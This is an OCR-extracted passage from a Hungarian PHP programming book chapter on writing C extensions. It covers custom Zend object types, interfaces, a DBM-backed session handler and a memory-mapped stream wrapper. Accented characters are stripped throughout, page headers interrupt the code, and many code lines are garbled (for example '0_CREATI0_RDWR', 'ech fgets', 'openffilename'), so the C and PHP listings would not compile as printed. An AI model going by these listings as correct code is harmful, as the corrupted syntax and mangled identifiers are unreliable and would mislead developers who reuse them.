Sajt objektumok s privt vltozk


A korbbiakban emltettk, hogy a privt pldnytulajdonsgokat butasg az objektum tulajdonsgtbljban trolni. Ezeket az adatokat ugyanis csak belsleg hasznlhatjuk fel, a bvtmnyek belseje" azonban C kd, gy itt rdemesebb a C sajt tpusait alkalmaznunk. A PHP 5-ben az ltalnos objektumokat a zend_object tpus jelenti meg., trolsuk pedig egy globlis objektumtrolban trtnik. A getThis () hvsakor a rendszer megkeresi az objektumtrban az objektumhoz tartoz zval-ban trolt azonostt. Ez az objektumtr azonban nem csak zend_object tpusokat tartalmazhat, hanem tetszleges adatszerkezetet. Ez kt okbl is hasznos szmunkra: Az erforrsok adatait (pldul egy adatbzis-kapcsolat lerjt) kzvetlenl az objektumban trolhatjuk anlkl, hogy kln erforrst kellene ltrehozni s fenntartani szmukra. A privt osztlyvltozkat objektumunk mellett C struktrkban trolhatjuk. Amennyiben sajt objektumtpusokra vgyunk, szksgnk van egy sajt create_object fggvnyre is. Egy j objektum pldnyostsakor az albbiak trtnnek: 1. A rendszer ltrehoz egy nyers objektumot. Alaprtelmezs szerint ez egy objektum trfoglalst s elksztst jelenti, de sajt create_object fggvnynkkel brmilyen adatszerkezetet elkszthetnk. 2. j adatszerkezetnk bekerl az objektumtrba, s visszakapjuk az azonostjt. 3. A rendszer meghvja az osztly konstruktort.

22. fejezet A PHP bvtse: II. rsz

605

A ltrehoz fggvny prototpusa gy fest: zend_object_value (*create_object)(zend_class_entry *class_type TSRMLS_DC);

E fggvny kulcsfeladatai az albbiak: Ltre kell hoznia legalbbis egy zend_object szerkezetet. Le kell foglalnia s el kell ksztenie az objektum tulajdonsgainak hasttbljt. Raktroznia kell a ltrehozott objektumszerkezetet az objektumtrban a zend_object_store_put () segtsgvel. Be kell jegyeznie egy destruktort. Vissza kell adnia egy zend_object_value szerkezetet.

rjuk most t a 21. fejezetben megismert Spread modult gy, hogy az erforrsok kezelse helyett az objektumban trolja a kapcsolatazonostkat. A szoksos zend_object szerkezet helyett itt az albbi adatszerkezetet hasznljuk: typedef struct { mailbox mbox; zend_object zo; } spread_object;

Amennyiben e szerkezetben memrit foglalunk, vagy brmi olyasmit tesznk, ami utn rendet kell csinlni, szksgnk lesz egy destruktorra - nem is beszlve anl, hogy magukat az objektumszerkezeteket is fel kell szmolnunk. me a lehet legegyszerbb destruktor: static void spread_objects_dtor(void *object, zend_object_handle handl TSRMLS_DC)
{

zend_objects_destroy_object(object, handl TSRMLS_CC);


}

A zend_obj ects_destroy_object () magt a lefoglalt objektumot semmisti meg. Szksgnk van tovbb egy klnfggvnyre is, amely megadja, miknt viselkedjen az objektum a_____clone () tagfggvny hvsakor. Az, hogy sajt create_object kezelt ksztnk, egyrtelmv teszi, hogy objektumunk nem szabvnyos tpus, gy a rendszer megkveteli mindkt fggvny megadst - a motor nem kpes megllaptani, milyen alaprtelmezett viselkedst kvethetne. Lssuk a Spread bvtmny klnfggvnyt: static void spread_objects_clone(void *object, void **object_clone TSRMLS_DC){

606

PHP fejleszts felsfokon

spread_object * intern = (spread_object *) object; spread_object **intern_clone = (spread_object **) object_clone; *intern_clone = emalloc(sizeof(spread_object)); (*intern_clone)->zo.ce = intern->zo.ce; (*intern_clone)->zo.in_get = 0; (*intern_clone)->zo.in_set = 0; ALLOC_HASHTABLE((*intern_clone)->zo.properties); (*intern_clne)->mbox = intern->mbox;
}

Az object_clone a ltrehozand j objektum. Figyeljk meg, hogy ezzel alapjban vve mlymsolatot ksztnk a kinozott adatszerkezetrl: msolatot ksztnk a ce osztlybejegyzs-mutatrl, s kikapcsoljuk az in_set-et s az in_get-et, jelezve, hogy nem alkalmazunk fellrst az objektumban. Szksgnk van mg a create_object fggvnyre is. Ennek mkdse igencsak hasonlt a clone fggvnyre - lefoglal egy j spread_object szerkezetet, s belltja. Az eredmnyknt kapott objektum pedig bekerl az objektumtrba a destruktorral s a klnkezelvel egyetemben. me sajt objektumksztnk a Spread bvtmnyhez:

zend_obj ect_value spread_obj ect_create(zend_class_entry *class_type TSRMLS_DC)


{

zend_object_value retval; spread_object *intern; zend_obj ect_handlers spread_obj ect_handlers; memcpy(&spread_object_handlers, zend_get_std_object_handlers(), sizeof(zend_object_handlers)); intern = emalloc(sizeof(spread_object)); intern->zo.ce = class_type; intern->zo.in_get = 0; intern->zo.in_set = 0; ALLOC_HASHTABLE(intern->zo.properties); zend_hash_init(intern->zo.properties, 0, NULL, ZVAL_PTR_DTOR, 0); retval.handl = zend_objects_store_put(intern, spread_objects_dtor, spread_objects_clone); retval.handlers = &spread_object_handlers; return retval; }

22. fejezet A PHP bvtse: II. rsz

607

Ezek utn, az osztly bejegyzsnl ezt az j create_obj ect fggvnyt kell megadnunk: static zend_class_entry *spread_ce_jptr; static zend_function_entry spread_methods[] = { {NULL, NULL, NULL}
};

void register_spread()
{

zend_class_entry ce; INIT_CLASS_ENTRY(ce, "Spread", spread_methods); ce.create_object = spread_object_create; spread_ce_ptr = zend_register_internal_class(&ce TSRMLS_CC);
}

Ahhoz, hogy e nyers adatokhoz hozzjussunk, a zend_object_store_get_object segtsgvel kiolvassuk a teljes objektumot az objektumtrbl: ZEND_METHOD(spread, disconnect)
{

()

spread_object *sp_obj; mailbox mbox; sp_obj = (spread_object *) zend_object_store_get_object(getThis() TSRMLS_CC); mbox = sp_obj->mbox; sp_disconnect(mbox); sp_obj->mbox = -1;
}

A zend_ob j ect_store_get_ob j ect () a trolban lev teljes objektumot visszaadja, gy hozzfrhetnk a szerkezet tartalmhoz. A Spread bvtmny tovbbi rsznek objektumkzpont trsa j gyakorlat lehet - ne felejtsk a tagfggvnyeket beilleszteni a Spread_methods-ba.

Gyrtfggvnyek hasznlata
A 2. fejezetben lthattuk, hogy a Gyr minta sok esetben hasznunkra vlhat. Esetnkben egy gyrtfggvny egyszeren egy statikus osztlytagfggvnyt takar, ami egy j objektumot ad vissza. me egy gyrtfggvny, amely egy j Spread objektumot hoz ltre: PHP_FUNCTION(spread_factory) { spread_object * intern; Z_TYPE_P(return_value) = IS_OBJECT; object_init_ex(return_value, spread_ce_ptr);

608

PHP fejleszts felsfokon return_value->refcount = 1; return_value->is_ref = 1; return;


}

Ezutn az albbi kdot alkalmazhatjuk... $obj = spread_factory(); ...ehelyett: $obj = new Spread;

Osztlykonstruktorok elrejtse Elfordulhat, hogy r szeretnnk venni a felhasznlkat a konstruktr hasznlatra, megakadlyozva a kzvetlen pldnyostst a new segtsgvel. A felhasznli PHP kdhoz hasonlan ezt a legegyszerbben gy oldhatjuk meg, ha bejegyznk egy konstruktrt s privt tagfggvnny alaktjuk. Ez lehetetlenn teszi a kzvetlen pldnyostst.

Felletek ltrehozsa s megvalstsa


Az osztlyok utols, fejezetnkben trgyalt lehetsge a felletek meghatrozsa s megvalstsa. Belsleg a felletek alapjban vve olyan osztlyok, melyeknek kizrlag elvont tagfggvnyeik vannak. Ezek ltrehozshoz az albbi makrt hasznlhatjuk: ZEND_ABSTRACT_ME(class_name, method__name, argument_list); A class_name s a method_name az osztly s a tagfggvny nevt adja meg, az argument_list pedig az albbi makrblokkal meghatrozott: ZEND_BEGIN_ARG_INFO(argument_list, pass_by_ref) ZEND_END_ARG_INFO() Ez a blokk meghatrozza a paramterek listjt, valamint azt, hogy ezek tadsa hivatkozs szerint trtnjk-e. A blokk belsejben a paramterek rendezett listja jelenik meg, az albbi alak elemekkel: ZEND_ARG_INFO (pass__by_ref, name)

22. fejezet A PHP bvtse: II. rsz

609

Ahhoz teht, hogy a kvetkez PHP fellet fggvnybejegyzseit elksztsk... interface Foo { function bar($argl, $arg2); function baz(&argl);
}

...mindkt paramterlista meghatrozsra szksg lesz: ZEND_BEGIN_ARG_INFO(bar_args, 0) ZEND_ARG_INFO(0, argl) ZEND_ARG_INFO(0, arg2 ) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(baz_args, ZEND_ARG_INFO(1, argl) ZEND_END_ARG_INFO() 0)

Ezutn elksztjk a Foo tagfggvnytbljt: ZEND_ABSTRACT_METHOD(foo, bar, bar_args) ZEND_ABSTRACT_METHOD(foo, baz, baz_args) {NULL, NULL, NULL} }; Vgl, a fellet bejegyzshez alkalmazzuk a zend_register_internal_interf ace () fggvnyt: static zend_class_entry *foo_interface; PHP_MINIT_FUNCTION(example)
{

zend_class_entry ce; INIT_CLASS_ENTRY(ce, "Foo", foo_functions) foo_interface = zend_register_internal_interface(&ce TSRMLS_CC); return SUCCESS;
}

Ezzel sikeresen bejegyeztk j Foo felletnket. A felletek megvalstsa a bvtmnyi osztlyokban mg ennl is egyszerbb. A Zend API ugyanis rendelkezsnkre bocst egy fggvnyt, mellyel meghatrozhatunk minden, az osztly ltal megvalstott felletet: void zend_class_implements(zend_class_entry *class_entry TSRMLS_DC, int num_interfaces, . . .) ;

610

PHP fejleszts felsfokon

A cJass_entry takarja a felleteket megvalst osztlyt, a num_interfaces a felletek szma, a paramterlista vgn pedig minden megvalstott fellethez egy mutatt tallhatunk a megfelel zend_class_entry szerkezetre.

Sajt munkamenet-kezelk ksztse


A munkameneti API-rl a 14. fejezetben mr szt ejtettnk, a felhasznli kdols szempontjbl. A felhasznli kezelk bejegyzse mellett azonban lehetsgnk van arra is, hogy munkamenet-kezelinket C-ben ksztsk el s kzvetlenl jegyezzk be a munkameneti bvtmnyben. A kvetkezkben egy gyorstalpal tanfolyam keretben megtanuljuk, miknt kszthetnk C alap munkamenet-kezelt, szabvnyos DBM fjlt alkalmazva httrtrolknt. A munkameneti API meglehetsen egyszer. Alapszinten mindssze egy munkameneti modul szerkezet ltrehozsra van szksg (ez elviekben hasonl a zend_module_entry szerkezethez). Elszr ksztsnk egy szabvnyos bvtmnyi vzat s adjunk nevet bvtmnynknek (session_dbm). A munkameneti API horgait kln nvtrbe helyezhetjk legyen ez az egyszersg kedvrt a dbm. A munkameneti API horgainak meghatrozsra a kvetkez kd szolgl: ttinclude "ext/session/php_session.h" ps_module ps_mod_dbm = { PS_MOD(dbm)
};

A PS_MOD () makr automatikusan bejegyez hat fggvnyt, melyeket meg kell valstanunk: [PS_OPEN_FUNC(dbm) ] - Megnyitja a munkamenet httrtroljt. [PS_CLOSE_FUNC (dbm) ] - Bezrja a munkamenet httrtroljt. [PS_READ_FUNC(dbm)] - Olvas a munkamenet httrtroljbl. [PS_WRITE_FUNC(dbm) ] - r a munkamenet httrtroljba. [PS_DESTROY_FUNC (dbm) ] - Megsemmisti az aktulis munkamenetet. [PS_GC_FONC (dbm) ] - Elvgzi a szemtgyjtst.

E fggvnyek mkdsnek rszleteirl, valamint hasznlatuk idejrl a 14. fejezetben olvashattunk, felhasznli megfelelik kapcsn. A PS_OPEN_FUNC hrom paramtert ad t: void **mod_data - ltalnos adatmutat a visszatrsi rtk trolsra. char *save_path - A munkamenet adataihoz vezet fjlrendszerbeli tvonal trolja. Ha nem fjl alap munkameneteket hasznlunk, gondolhatunk erre gy, mint egy ltalnos helymeghatroz mutatra. char *session_name - A munkamenet neve.

22. fejezet A PHP bvtse: II. rsz

611

A mod_data egytt mozog a munkamenettel, gy nagyszer helyet biztost a kapcsolati adatok trolsra. E bvtmny esetben itt a DBM fjl helyt s egy kapcsolati mutatt kell trolnunk, az albbi szerkezetben: typedef struct { DBM *conn; char *path; } ps_dbm; Lssuk a PS_OPEN_FUNC () fggvnyt, ami nem tesz mst, mint elkszti a ps_dbm szerkezetet, s visszaadja a munkameneti bvtmnynek a mod_dat a-ban: PS_OPEN_FUNC(dbm)
{

ps_dbm *data; data = emalloc(sizeof(ps_dbm)); memset(data, 0, sizeof(ps_dbm)); data->path = estrndup(save_path, strlen(save_path)); *mod_data = data; return SUCCESS;
}

A PS_CLOSE_FUNC () egyetlen paramtert fogad: void **mod_data; Ez ugyanaz a mod_data, amely a krelem folyamn mr megvolt, gy minden lnyeges munkameneti adatot tartalmaz. Az albbiakban lthatjuk a PS_CLOSE () szerkezett, amely lezr minden nyitott DBM kapcsolatot, s felszabadtja a PS_OPEN () -ben lefoglalt memrit:
PS_CLOSE_FUNC(dbm) { ps_dbm *data = PS_GET_MOD_DATA(); if(data->conn) { dbm_close(data->conn); data->conn = NULL; } if(data->path) { efree(data->path); data->path = NULL; } return SUCCESS; }

612

PHP fejleszts felsfokon

A PS_READ_FUNC () ngy paramtert fogad: void **mod_data - Az adatszerkezet, ami minden kezelhz eljut. const char *key - A munkamenet-azonost. char **val - Egy hivatkozs szerint tadott kimeneti vltoz. A munkamenet adatai ebben a karakterlncban jutnak vissza a hvhoz. int *vallen - A val karakterlnc hossza.

Az albbi kdrszletben a PS_READ_FUNC () megnyitja a DBM fjlt, ha ez korbban nem trtnt meg, s kiolvassa a key ltal azonostott bejegyzst: PS_READ_FUNC(dbm)
{

dtum dbm_key, dbm_value; ps_dbm *data = PS_GET_MOD_DATA(); if(!data->conn) { if((data->conn = dbm_open(data->path, 0_CREATI0_RDWR, == NULL) { return FAILURE;
} }

0640))

dbm_key.dptr = (char *) key; dbm_key.dsize = strlen(key); dbm_value = dbm_fetch(data->conn, dbm_key); if(!dbm_value.dptr) { return FAILURE;
}

*val = estrndup(dbm_value.dptr, dbm_value.dsize) ; *vallen = dbm_value.dsize ; return SUCCESS;


}

A dtum a kulcs-rtk prok trolsra szolgl GDBM/NDBM tpus. Figyeljk meg, hogy az olvas eljrsnak semmit sem kell tudnia arrl, milyen adatok haladnak t rajta - a munkameneti bvtmny maga gondoskodik a sorostsrl. A PS_WRITE_FUNC () ugyanazokat a paramtereket kapja meg, mint a PS_READ_FUNC (): void **mod_data - Az adatszerkezet, ami minden kezelhz eljut. const char *key - A munkamenet-azonost. char **val - A trolni kvnt adat, karakterlnc alakjban (a munkameneti bvtmny sorost eljrsnak eredmnye). int *vallen - A val karakterlnc hossza.

22. fejezet A PHP bvtse: II. rsz

613

A PS_WRITE_FUNC () szerkezete csaknem megegyezik a PS_READ_FUNC () -val - azzal a klnbsggel, hogy az olvass helyett itt rs trtnik:
PS_WRITE_FUNC(dbm) { dtum dbm_key, dbm_value; ps_dbm *data = PS_GET_MOD_DATA( ) ; if(!data->conn) { if((data->conn = dbm_open(data->path, 0_CREAT|0_RDWR, 0640)) == NULL) { return FAILURE; } }

dbm_key.dptr = (char *)key; dbm_key.dsize = strlen(key); dbm_value.dptr = (char *)va l; dbm_value.dsize = vallen; if(dbm_store(data->conn, dbm_key, dbm_value, DBM_REPLACE) return FAILURE;
}

!= 0)

return SUCCESS;
}

A PS_DESTROY_FUNC () kt paramtert fogad: void **mod_data - Az adatszerkezet, ami minden kezelhz eljut. const char *key - A megsemmistend munkamenet-azonost. Az albbi fggvny egyszeren trli a megadott kulcsot a dbm_delete segtsgvel:
PS_DESTROY_FUNC(dbm) { dtum dbm_key; ps_dbm *data = PS_GET_MOD_DATA(); if(!data->conn) { if((data->conn = dbm_open(data->path, 0_CREATI0_RDWR, 0640)) == NULL) { return FAILURE; } } dbm_key.dptr = (char *)key; dbm_key.dsize = strlen(key);

614

PHP fejleszts felsfokon

if(dbm_delete(data->conn, dbm_key)) return FAILURE; } return SUCCESS; }

Vgezetl, a PS_GC_FUNC () hrom paramtert fogad: void **mod_data - Az adatszerkezet, ami minden kezelhz eljut. int maxlif etime - A munkamenetek szmra belltott legnagyobb lettartam. int *nrdels - Kimeneti vltoz, amely az elavult munkamenetek szmt tartalmazza. Amint a 10. fejezetben megtanulhattuk, a DBM fjlok elavulsnak kezelse meglehetsen sszetett. A mdostsi idt elhelyezhetjk a PS_READ_FUNC () s PS_WRITE_FUNC () ltal kezelt rekordokban. A megvalsts j gyakorlat lehet - most csak egy olyan szemtgyjt fggvnyt mutatunk be, amely mindig sikeres mkdst jelez: PS_GC_FUNC(dbm)
{

return SUCCESS;
}

Ha bvtmnynket valban alkalmazhatv szeretnnk tenni, nemcsak a PHP-ben, hanem a munkameneti bvtmnyben is be kell jegyeznnk. Ezrt ht hvjuk meg a php_session__register_module () -t az MINIT fggvnyben, az albbiak szerint:
PHP_MINIT_FUNCTION(session_dbm)
{

php_session_register_module(&ps_mod_dbm); return SUCCESS;


}

Most mr bellthatjuk j kezelnket a php. ini fjlban:


session.save_handler=dbm

Sok webhely esetben tapasztalhat, hogy szinte minden oldal mkdse munkamenetek hasznlatra tmaszkodik, gy a munkamenetek kezelse gyakran szmottev tbbletterhet jelent, klnsen felhasznli kezelk esetn. Mindez, az API egyszersgvel egytt, nagyszer teljestmnyfokozsi lehetsgeket gr a C munkamenet-kezelk alkalmazsval.

22. fejezet A PHP bvtse: II. rsz

615

A folyamkezel API
A folyamkezel API a PHP egyik figyelemremlt fejlesztse, amely mindenfle bemenetikimeneti elrst s a PHP bemeneti-kimeneti fggvnyeit egyetlen elvonatkoztatsi rteggel burkolja be. A folyamok hasznlatnak alapvet clja, hogy minden PHP-beli bemeneti-kimeneti mveletnek azonos ltalnos felletet biztostsunk, gy az f open (), az f red (), az fwrite (), az f close () s az f stat () mkdjn, brmilyen mdon is rjk el a fjlt (a helyi fjlrendszeren, a HTTP-n vagy az FTP-n keresztl). Az API jelenlte lehetv teszi, hogy bejegyezznk egy protokolltpust, megadjuk bizonyos egyszer mveletek mkdsi mdjt, s gy a PHP bemeneti-kimeneti fggvnyei itt is elrhetk legyenek. Mindez a bvtmnyek fejlesztinek szemszgbl azrt nagyszer, mert a folyamokkal egyttmkdni kpes protokollokat gy csaknem ugyangy elrhetjk a C-ben, mint a PHP-ben. me egy PHP utasts, s az azt megvalst C kdrszlet: return file_get_contents("http://www.advanced-php.com/"); php_stream *stream; char *buffer; int alloced = 1024; int len = 0 ; stream = php_stream_open_wrapper ("http: //www. advanced-php. com/ ") ,
REPORT_ERRORS, NULL);

"rb",

if(!stream) return;
}

buffer = emalloc(len) ; while(!php_eof_stream(stream)) { if (alloced == len + 1) { alloced *= 2; buffer = erealloc(buffer, alloced);


}

php_stream_read(stream, buffer + len, alloced - len - 1);


} RETURN_STRINGL(buffer, 0);

A fenti kd els ltsra hossznak tnhet, de ne feledjk, hogy ez a fggvny az gvilgon semmit nem tud arrl, miknt nyithat meg egy HTTP kapcsolatot, vagy hogyan olvashat adatokat egy hlzati csatolrl. Az ezt megvalst eljrsok a folyamkezel API kulisszi mgtt rejtznek, s a megfelel protokollburkolt a rendszer kitallja a php_stream_open_wrapper () fggvnynek tadott URL-bl. Mindemellett zval folyamokat is ltrehozhatunk, melyek segtsgvel erforrsokat adhatunk t a fggvnyek kztt. me az f open () egy jabb megvalstsa, melyet akkor

616

PHP fejleszts felsfokon

hasznlhatunk, ha kikapcsoltuk az allow_url_f open belltst a hlzati fjllerk vletlen megnyitsnak elkerlsre, de tovbbra is rendelkezsre szeretnnk bocstani ket, ha a felhasznl valban ezt akarja:
PHP_FUNCTION(url_fopen)
{

php_stream *stream; char *url; long url_length; char *flags; int flags_length; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &url, &url_length, &flags, &flags_length) = = FAILURE) return;
}

stream = php_stream_open_wrapper(url, if ( !stream) { RETURN_FALSE;


}

flags, REPORT_ERRORS, NULL);

php_stream_to_zval(stream,
}

return_value);

A fentiekhez hasonlan, folyamokat fggvnyeknek is tadhatunk. Ezeket a rendszer erforrsokknt trolja, gy kiolvassukhoz az "r " formtumlert kell alkalmaznunk, s a php_stream_f rom_zval () segtsgvel t kell alaktanunk ket php_stream tpusv, me az f gets () egy egyszer vltozata:

Megjegyzs

Az albbi program leginkbb bemutatsi clokat szolgl. Az url_f open () segtsgvel megnyitott folyam szabvnyos, gy az ltala visszaadott erforrsra alkalmazhatjuk az egyszer f gets () fggvnyt is.

PHP_FUNCTION(url_fgets) { php_stream *stream; zval *stream_z; int 1; char buffer[1024]; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &stream_z) == FAILURE) { return; }

22. fejezet A PHP bvtse: li. rsz

617

php_stream_from_zval(stream, &stream_z); if(!php_stream_eof(stream)) { 1 = php_stream_gets(stream, buffer, sizeof(buffer));


}

RETURN_STRINGL(buffer,
}

1,

1);

A folyamok igazi ereje abban rejlik, hogy ltrehozhatjuk sajt folyamtpusainkat is - ez klnsen hasznos lehet, ha egy, a PHP-ben nem tmogatott trolsi tpushoz vagy protokollhoz szeretnnk hozzfrni. A kerk jrafeltallsa most se legyen clunk: a rendes fjlok s hlzati protokollok beptett folyamkezeli mr rengeteg prbt killtak, s nagyszeren alkalmazkodnak az egyes rendszerek sajtossgaihoz. A folyamkezel API alapgondolata, hogy minden bemeneti-kimeneti teendnket hat elemi mvelet segtsgvel elvgezhessk: open () - Meghatrozza, miknt hozhatunk ltre egy adatfolyamot. write () - Meghatrozza, miknt rhatunk adatokat a folyamba. read() - Meghatrozza, miknt olvashatunk adatokat a folyambl. close () - Meghatrozza a folyam kikapcsolsnak vagy megsemmistsnek menett. f lush () - Biztostja, hogy a folyamadatok bekerljenek a trolba. seek () - A kvnt helyre ugrik a folyamban. Gondolhatunk gy ezekre a mveletekre, mintha egy felletet hatroznnak meg. Amennyiben egy burkol teljesen megvalstja ezt a felletet, a PHP szabvnyos bemeneti-kimeneti fggvnyei kpesek lesznek egyttmkdni vele. Szmomra a folyamkezelsi felletek az objektumkzpont programozs nagyszer pldjt adjk. Mindssze nhny fggvnyt kell egy API-hoz elksztennk, s protokolljaink kpess vlnak az egyttmkdsre a PHP-vel, tovbb befolysolhatjuk a teljes PHP bemeneti-kimeneti fggvnyknyvtrat. A kvetkezkben egyszer pldaknt bemutatjuk, miknt hozhatunk ltre folyamkezel burkolt a memria-lekpezs fjlok kr. E fjlok lehetv teszik, hogy tbb folyamat megosztva hasznljon egy fjlt, s gyors ideiglenes trolsi lehetsget biztostanak. Clunk az, hogy ilyen kdokat hasznlhassunk:
<?php $mm = mmap_open("/dev/zero", 65536); fwrite($mm, "Hello World\n"); rewind($mm); ech fgets($mm); ?>

618

PHP fejleszts felsfokon

Meg kell teht nyitnunk a /dev/zero eszkzt, le kell kpeznnk az mmap () segtsgvel, s ezutn egyszer fjlknt elrhetjk. A php_stream adattpus tartalmaz egy abstract nev tulajdonsgot - egy elvont mutatt, ami a folyam megvalstsra jellemz adatait trolhatja. A folyam megvalstsnak els lpse, hogy egy megfelel adattpust hozzunk ltre a memrialekpezs fjl megjelentsre. Mivel az mmap () egy fjllert s egy rgztett hosszadatot fogad, majd egy memriacmet ad a fjl elrshez, legalbbis a memriaszegmens kezdcmt s hosszt tudnunk kell. Az mmap () ltal foglalt szegmensek rgztett hosszsgak, s nem szabad tllpnnk a hatraikat. A folyamoknak tudniuk kell tovbb aktulis helyzetket a trolban (hogy lehetsg nyljon tbbszri olvassra, rsra s lpkedsre), gy kvetnnk kell ezt a helyzetet is. Az mmap_stream_data tartalmazza ezeket az adatokat, gy nagyszeren betlti az elvont folyamadattpus szerept a pldnkban. A szerkezet gy fest: struct mmap_stream_data { void *base_pos; void *current_pos; int len; >; Kvetkez feladatunk a fellet megvalstsa. Kezdjk a write-tal - ez a fggvny az albbi paramtereket fogadja: php_stream *stream - A folyam. char *buf - A trol, ahonnan beolvassuk az adatokat. size_t count - A trol, valamint az rni kvnt adatok mrete. A write fggvny visszatrsi rtke a sikeresen bert bjtok szma. Lssuk ht az mmap_write () megvalstst: size_t mmap_write(php_stream * stream, char *buf,
size_t count TSRMLS_DC) { int wrote; struct mmap_stream_data *data = stream->abstract ; wrote = MIN(data->base_pos + data->len - data->current_pos, count); if(wrote == 0) { return 0; } memcpy(data->current_pos, buf, wrote); data->current_pos += wrote; return wrote; }

22. fejezet A PHP bvtse: II. rsz

619

Figyeljk meg, hogy az mmap_stream_data szerkezet rtkt kzvetlenl a folyam abstract elembl olvastuk ki. Ezutn biztostjuk, hogy a bert adatok nem csordulnak tl a troln, annyit runk, amennyit csak lehet, s visszatrnk a bert bjtok szmval. Az mmap_read () csaknem megegyezik az mmap_write () fggvnnyel: size_t mmap_read(php_stream *stream, char *buf, . size_t count TSRMLS_DC)
{

int to_read;
struct mmap_stream_data *data = stream->abstract; to_read = MIN(data->base_pos + data->len - data->current_pos, count); if(to_read == 0) { return 0; } memcpy(buf, data->current_pos, to_read); data->current_pos += to_read; return to_read; }

Az nimap_read () ugyanazokat a paramtereket fogadja, mint az mmap_write (), de a trolbl most olvasunk. A visszatrsi rtk a kiolvasott bjtok szma. Az nunap_f lush () az f sync () fjlmveleteit utnozza a folyamokon. Kdja gy fest: int mmap_flush(php_stream *stream TSRMLS_DC)
{

struct mmap_stream_data *data = stream->abstract; return msync(data->base_pos, data->len, MS_SYNC I MS_INVALIDATE);


}

Minden trolhat adatot ki kell rnunk a httrtrolba. Az mmap_f lush () fggvny egyetlen paramtert fogad - a szban forg folyam php_stream mutatjt - s siker esetn 0-val tr vissza. Kvetkez feladatunk a lpdels megvalstsa. A felletet a C lseek () fggvnytl klcsnztk, gy az albbi paramtereket fogadjuk: php_stream *stream - A folyam. of f_t of f set - A lpsszm. int whence - A lpsek kiindulpontja, ami SEEK_SET, SEEK_CUR vagy SEEK_END (a folyam eleje, aktulis helyzete, vagy vge) lehet. of f_t *newoffset - Kimeneti vltoz, ami megadja j helyzetnket a folyam kezdethez kpest.

620

PHP fejleszts felsfokon

Az mmap_seek () kiss hosszabb, mint a tbbi fggvny, javarszt a whence paramter eseteinek kezelse miatt. A korbbiakhoz hasonlan itt is megvizsgljuk, hogy nem lpjk-e tl a trol hatrait. Siker esetn a visszatrsi rtk 0, kudarcnl -1, Lssuk a megvalstst: int mmap_seek(php_stream *stream, off_t offset, int whence, off_t *newoffset TSRMLS_DC)
{

struct mmap_stream_data *data = stream->abstract; switch(whence) { case SEEK_SET: if (offset < 0 I I offset > data->len) { *newoffset = (off_t) -1; return -1;
}

data->current_pos = data->base_pos + offset; *newoffset = offset; return 0 ; break; case SEEK_CUR: if(data->current_pos + offset < data->base_pos II data->current_pos + offset > data->base_pos + data->len) *newoffset = (off_t) -1; return -1;
}

data->current_pos += offset; *newoffset = data->current_pos - data->base_pos; return 0; break; case SEEK_END: if (offset > 0 II -1 * offset > data->len) { *newoffset = (off_t) -1; return -1;
}

data->current_pos += offset; *newoffset = data->current_pos - data->base_pos; return 0; break; default: *newoffset = (off_t) -1; return -1;
} }

Vgezetl, kvetkezzk a close fggvny: int mmap_close(php_stream *stream, int close_handle TSRMLS_DC)
{

struct mmap_stream_data *data = stream->abstract;

22. fejezet A PHP bvtse: II. rsz

621

if (close_handle) { munmap (data->base__pos, data->len) ;


}

efree(data); return 0;
}

A close fggvny feladata a megnyitott erforrsok bezrsa s az mmap_stream_data mutat felszabadtsa. Mivel a folyamok lezrsa egyarnt megvalsulhat az automatikus szemtgyjts s felhasznli krelem nyomn, esetenknt nem a close fggvny felels az aktulis erforrs bezrsrt. Ennek megoldsra a fggvny a php_stream mellett egy egsz rtk close_handle rtket is kap, ami jelzi, ha valban a kapcsolat lezrsra van szksg. A folyamok megnyitsrl mg nem szltunk, de minden bels mveletet megvalstottunk, gy ha szert tesznk egy megnyitsi fggvnyre, az f red (), f gets (), fwrite () s trsaik rendben mkdnek majd. Ahhoz, hogy egy folyamot bejegyezznk a megnyitsi fggvnyben, elszr ltre kell hoznunk egy php_stream_ops szerkezetet, ami megadja a korbban megvalstott horgok neveit. Az mmap folyamok esetben ez gy fest: php_stream_ops mmap_ops = { mmap_write, /* rs */ mmap_read, /* olvass */ mmap_close, /* bezrs */ mmap_flush, /* kirs */ "mmap stream", /* a folyam tpusnak neve */ mmap_seek, /* keress */ NULL, /* cast */ NULL, /* stat */ NULL /* set option */
};

Az utbbi hrom horgot nem valstottuk meg. Meghatrozsuk megtallhat a folyamkezel API lersban, de jelen burkolnkban nincs rjuk szksg. A felletet meghatrozsa utn bejegyezhetjk egy sajt megnyitsi fggvnybe. Az albbiakban bemutatjuk az mmap_open () fggvnyt, ami egy fjlnevet s egy hosszrtket fogad, alkalmazza az nimap-et, s egy folyammal tr vissza:
PHP_FUNCTION(mmap_open) { char *filename;

622

PHP fejleszts felsfokon

long filename_len; long file_length; int fd; php_stream * stream; void *mpos; struct mmap_stream_data *data; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl", &filename, &filename_len, &file_length) == FAILURE) { return; } if((fd = openffilename, 0_RDWR)) < -1) { RETURN_FALSE; } if((mpos = mmap(NULL, file_length, PROT_READIPROT_WRITE, MAP_PRIVATE, fd, 0)) == (void *) -1) { close(fd); RETURN_FALSE; } data = emalloc(sizeof(struct mmap_stream_data)); data->base_pos = mpos; data->current_pos = mpos; data->len = file_length; close(fd); stream = php_stream_alloc(&mmap_ops, data, NULL, "r+"); php_stream_to_zval(stream, return_value);
}

Az open () s az mmap () hvsa utn lefoglalunk egy mmap_stream_data szerkezetet, belltjuk az rtkt, s bejegyezzk, mint egy mmap megvalsts folyamot: stream = php_stream_alloc(&mmap_ops, data, NULL, "r+");

Ezzel egy j folyamot kapunk a megadott elvont adattrolval, tovbb bejegyezzk az mmap_ops ltal megadott mveleteket. A bvtmny betltse utn mr vgrehajthatjuk az albbi kdot: <?php $mm = mmap_open("/dev/zero" , 1024); fwrite($mm, "Hello World\n"); rewind($mm); ech fgets($mm); ?>

22. fejezet A PHP bvtse: II. rsz

623

A korbbiakban mr tallkoztunk az albbi kddal, ami egy URL-t nyit meg:


php_stream_open_wrapper ("http://www.advanced-php.com","rb",REPORT_ERRORS,NULL);

Hasonl kdot a PHP-ben is vgrehajthatunk: $fp = fopen("http://www.advanced-php.com"); A folyamkezel alrendszer ismeri a HTTP-t, s gy kpes automatikusan kiosztani a megnyitott krelmet a megfelel folyamburkolnak. Ilyen burkolkat bvtmnyekben (st, felhasznli PHP kdban) is bejegyezhetnk. Esetnkben ez lehetv teszi szmunkra egy mmap fjl megnyitst a megadott mmap URL alapjn:
